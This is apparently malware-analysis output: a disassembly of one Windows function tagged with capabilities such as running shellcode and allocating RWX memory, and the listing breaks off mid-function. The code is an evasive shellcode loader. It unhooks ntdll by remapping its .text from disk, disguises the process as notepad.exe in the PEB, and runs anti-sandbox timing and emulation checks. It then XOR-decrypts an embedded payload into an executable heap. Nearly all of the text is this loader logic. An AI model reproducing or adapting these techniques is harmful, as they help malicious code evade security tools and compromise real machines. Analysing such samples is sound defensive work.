Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8c8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x870], ecx
mov qword [rbp + 0x878], rdx
call fcn.140002b50
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7c0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x838], rax
mov dword [rbp + 0x7ac], 0
mov ecx, 0xea0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
mov ecx, 0xea0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov ecx, 0xea0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x834], 0
jmp 0x140001623
mov dword [rbp + 0x830], 0
jmp 0x14000160f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x834]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x7a0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x830]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x834]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x798]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x830]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x23
jle 0x14000154e
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x19
jle 0x14000153f
mov dword [rbp + 0x834], 0
jmp 0x140001700
mov dword [rbp + 0x830], 0
jmp 0x1400016ec
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x7a0]
add rdx, rax
mov eax, dword [rbp + 0x830]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x798]
add rdx, rax
mov eax, dword [rbp + 0x830]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x790]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x830]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x23
jle 0x14000164e
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x19
jle 0x14000163f
mov rax, qword [rbp + 0x7a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x838], 0
jne 0x140001774
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x838], rax
mov ecx, 0x11a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov dword [rbp + 0x82c], 0
jmp 0x1400017cf
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x788]
add rax, rdx
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x234
jle 0x140001791
mov dword [rbp + 0x82c], 0
jmp 0x14000186c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x788]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003b40
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x234
jle 0x1400017ea
cmp qword [rbp + 0x838], 0
je 0x140001ce4
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
mov rax, qword [rbp + 0x7b0]
mov r10, qword [rbp + 0x838]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0x780], rax
mov ecx, 0x6f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov ecx, 0x6f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x824], 0x1bd
mov dword [rbp + 0x828], 0
jmp 0x14000194d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x828]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x778]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x1bd
jle 0x140001900
mov dword [rbp + 0x828], 0
jmp 0x1400019ac
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov edx, dword [rbp + 0x828]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x770]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x824], 1
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x1bd
jle 0x140001965
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x780]
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x780]
add rax, rdx
mov qword [rbp + 0x748], rax
mov word [rbp + 0x822], 0
jmp 0x140001ccc
mov rax, qword [rbp + 0x748]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x748]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x822]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001cbb
mov dword [rbp + 0x5b8], 0
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x73c], 0
mov ecx, 0xa4c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x81c], 0
jmp 0x140001bd5
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x730]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x730]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x818], eax
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x292
jle 0x140001b59
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x740]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x740]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x780]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x740]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x740]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x758]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x740]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x780]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5b8]
mov rax, qword [rbp + 0x740]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x740]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x780]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x822]
add eax, 1
mov word [rbp + 0x822], ax
mov rax, qword [rbp + 0x748]
movzx eax, word [rax + 6]
cmp word [rbp + 0x822], ax
jb 0x140001ac4
mov dword [rbp + 0x5bc], 0
mov rax, qword [rbp + 0x7c0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
lea rax, [rbp + 0x5bc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x728]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5c8]
add rax, 0x3c
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x720]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x718], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x710]
mov r9d, 0x3000
mov r8d, 0x3ef
mov edx, 0
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
je 0x140002a8d
mov qword [rbp + 0x708], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1964280
mov ecx, 0
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
je 0x140002a8d
mov rax, qword [rbp + 0x708]
mov edx, 0x1964280
mov rcx, rax
call fcn.140004a00
mov rax, qword [rbp + 0x708]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f4], eax
mov ecx, 0x267
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f0], eax
mov eax, dword [rbp + 0x6f0]
sub eax, dword [rbp + 0x6f4]
cmp eax, 0x235
jbe 0x140002a8d
mov qword [rbp + 0x6e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x5273280
mov ecx, 0
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x140002a8d
mov rax, qword [rbp + 0x6e8]
mov edx, 0x5273280
mov rcx, rax
call fcn.140004a00
mov rax, qword [rbp + 0x6e8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.xcahsfjfozluybz.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
jne 0x140002a8d
mov ecx, 0x3eb
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x3eb
jne 0x140002a8d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x810], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
je 0x1400020a0
mov rax, qword [rbp + 0x6d0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6c8]
mov r9d, 0x3000
mov r8d, 0x320
mov edx, 0
call rax
mov qword [rbp + 0x810], rax
cmp qword [rbp + 0x810], 0
je 0x140002a8d
mov qword [rbp + 0x808], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x14000213b
mov rax, qword [rbp + 0x6c0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6b8]
mov r9d, 0x3000
mov r8d, 0x3cb
mov edx, 0
call rax
mov qword [rbp + 0x808], rax
cmp qword [rbp + 0x808], 0
je 0x140002a8d
mov dword [rbp + 0x6b4], 0x2fe
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x69c], eax
mov eax, dword [rbp + 0x6b4]
mov r8, qword [rbp + 0x6a8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x698], eax
mov eax, dword [rbp + 0x698]
sub eax, dword [rbp + 0x69c]
cmp eax, 0x2cc
jbe 0x140002a8d
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
jne 0x140002a8d
lea rax, [rbp + 0xd0]
lea rdx, [0x140006138]
mov ecx, 0x9b
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x804], 0
jmp 0x1400022a1
call sub.msvcrt.dll_rand
imul eax, eax, 0xdb
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003b70
movq rax, xmm0
mov qword [rbp + 0x610], rax
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x14d
jle 0x140002260
mov rax, qword [rbp + 0x7b8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x688]
mov r8d, 0
mov edx, 0x4d8
mov ecx, 0x40000
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov r9, qword [rbp + 0x680]
mov r8d, 0x4d8
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x800], 0
mov dword [rbp + 0x7fc], 1
mov dword [rbp + 0x7f8], 0
mov dword [rbp + 0x66c], 0x38f
jmp 0x140002392
mov edx, dword [rbp + 0x800]
mov eax, dword [rbp + 0x7fc]
add eax, edx
mov dword [rbp + 0x618], eax
add dword [rbp + 0x7f8], 1
mov eax, dword [rbp + 0x7fc]
mov dword [rbp + 0x800], eax
mov eax, dword [rbp + 0x618]
mov dword [rbp + 0x7fc], eax
mov eax, dword [rbp + 0x7f8]
cmp eax, dword [rbp + 0x66c]
jl 0x14000235f
mov rax, qword [rbp + 0x7c0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x670]
mov r9, qword [rbp + 0x660]
mov r8d, 0x4d8
mov rcx, rax
call r9
mov dword [rbp + 0x7f0], 0
mov dword [rbp + 0x7ec], 0
movabs rax, 0xd1ca5018603119b3
movabs rdx, 0xfd2297d5e7c68d53
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x6fd685825c4029f0
movabs rdx, 0x1660e36a6a0e0ce
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x3f5fa036ceed6662
movabs rdx, 0xd05be2735c864ed7
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x68ede973666a34c0
movabs rdx, 0x738e3216d5bde6fb
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xe38c65d2d2738e
mov qword [rbp - 2], rax
mov dword [rbp + 0x7e8], 0xffffffff
mov ecx, 0x1690
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
add dword [rbp + 0x7e8], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x658]
add rax, rdx
movsd xmm1, qword [0x140006620]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x658]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7e8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x658]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7e8], 0x2d0
jle 0x14000248f
movabs rax, 0xe418f564181e1594
movabs rdx, 0x5f6a7ca1cea15572
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x5a8e855452d9811b
movabs rdx, 0xad5f70c74a40eb9a
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xf72320e746fa924
movabs rdx, 0x12cc17f9a799f26a
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x63a2dae1cf0d5904
movabs rdx, 0xce8dd5f195bfbffc
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x1f58b56df52931cd
movabs rdx, 0x30c32f2eb63eabbc
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x4d302c3aae3e30
mov qword [rbp + 0xbf], rax
mov dword [rbp + 0x7f4], 0
jmp 0x14000281d
mov ecx, 0xdc0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x7e4], 0
jmp 0x140002666
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7e4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x628]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x36f
jle 0x140002619
mov dword [rbp + 0x7e4], 0
jmp 0x140002756
cmp dword [rbp + 0x7e4], 0
je 0x1400026c6
mov eax, dword [rbp + 0x7e4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x7e4]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x1400026d2
add dword [rbp + 0x7e4], 1
jmp 0x140002756
mov eax, dword [rbp + 0x7e4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x61c], eax
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov edx, dword [rbp + 0x7e4]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x628]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x61c]
mov dword [rdx], eax
sub dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x36f
jle 0x140002681
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x7f4]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x7f0]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7f4]
cdqe
mov byte [rbp + rax + 0x10], dl
movsd xmm0, qword [0x140006628]
movsd qword [rbp + 0x7d8], xmm0
movsd xmm0, qword [0x140006630]
movsd qword [rbp + 0x620], xmm0
jmp 0x1400027e8
movsd xmm0, qword [rbp + 0x620]
mov rax, qword [rbp + 0x7d8]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003d40
movq rax, xmm0
mov qword [rbp + 0x7d8], rax
movsd xmm0, qword [0x140006638]
comisd xmm0, xmmword [rbp + 0x7d8]
ja 0x1400027bf
cmp dword [rbp + 0x7f0], 0x44
jne 0x14000280f
mov dword [rbp + 0x7f0], 0
jmp 0x140002816
add dword [rbp + 0x7f0], 1
add dword [rbp + 0x7f4], 1
mov eax, dword [rbp + 0x7f4]
cmp eax, 0x55
jbe 0x1400025fc
mov dword [rbp + 0x7f4], 0
jmp 0x140002899
mov eax, dword [rbp + 0x7f4]
movsxd rdx, eax
mov rax, qword [rbp + 0x670]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7ec]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7f4]
movsxd rdx, eax
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x7ec], 0x55
jne 0x14000288b
mov dword [rbp + 0x7ec], 0
jmp 0x140002892
add dword [rbp + 0x7ec], 1
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x4d7
jle 0x140002838
mov ecx, 0xef4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov dword [rbp + 0x7d4], 0
mov dword [rbp + 0x64c], 1
mov dword [rbp + 0x7d0], 0
jmp 0x14000295a
mov dword [rbp + 0x7cc], 0
jmp 0x14000294a
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7d0]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
add rax, rax
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x650]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7cc]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0xa
jle 0x1400028e5
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x56
jle 0x1400028d9
mov dword [rbp + 0x7d0], 0
jmp 0x1400029d6
mov dword [rbp + 0x7cc], 0
jmp 0x1400029c6
mov eax, dword [rbp + 0x7d0]
